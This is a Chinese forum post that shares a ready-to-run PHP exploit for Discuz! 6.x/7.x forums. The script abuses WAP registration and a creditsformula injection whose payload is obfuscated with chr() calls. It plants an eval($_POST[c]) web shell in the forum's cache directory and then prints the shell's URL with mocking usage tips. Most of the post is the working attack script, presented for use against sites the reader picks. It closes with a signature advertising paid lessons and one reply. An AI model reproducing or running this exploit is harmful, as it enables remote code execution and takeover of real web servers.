返回列表 发帖

Discuz! 6.x/7.x SODB-2008-13 Exp

Discuz! 6.x/7.x SODB-2008-13 Exp
  1. #!/usr/bin/php
  2. <?php
  3. /**
  4. * Discuz! 6.x/7.x SODB-2008-13 Exp
  5. * By www.3ast.com.cn
  6. * 文件中注释的变量值请自行修改
  7. */

  8. $host = 'www.80vul.com';
  9. // 服务器域名或IP
  10. $path = '/discuz/';
  11. // 程序所在的路径
  12. $key  = 0;
  13. // 上面的变量编辑好后,请将此处的值改为1

  14. if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
  15. exit("专业点好不,先看看里面的注释 -,-\n");

  16. error_reporting(7);
  17. ini_set('max_execution_time', 0);

  18. $key = time();
  19. $cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
  20. $resp = send();

  21. preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);

  22. if (!$sid)
  23. exit("哦,大概是没有开启WAP注册吧 -,-\n");

  24. $cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
  25. send();

  26. $shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

  27. if (file_get_contents($shell) == '80vul')
  28. exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t<?eval(\$_POST[c])?>\n别告诉我你不会用 -,-\n");
  29. else
  30. exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");

  31. function send()
  32. {
  33. global $host, $path, $url, $cmd;

  34. $data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";
  35. $data .= "Accept: */*\r\n";
  36. $data .= "Accept-Language: zh-cn\r\n";
  37. $data .= "Referer: http://$host$path\r\n";
  38. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  39. $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
  40. $data .= "Host: $host\r\n";
  41. $data .= "Connection: Close\r\n";
  42. $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
  43. $data .= $cmd;

  44. $fp = fsockopen($host, 80);
  45. fputs($fp, $data);

  46. $resp = '';

  47. while ($fp && !feof($fp))
  48. $resp .= fread($fp, 1024);

  49. return $resp;
  50. }

  51. ?>
复制代码
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

看到你这篇帖子的发布日期 2008.11.15
我想杀人。。。。:@ :@ :@

TOP

返回列表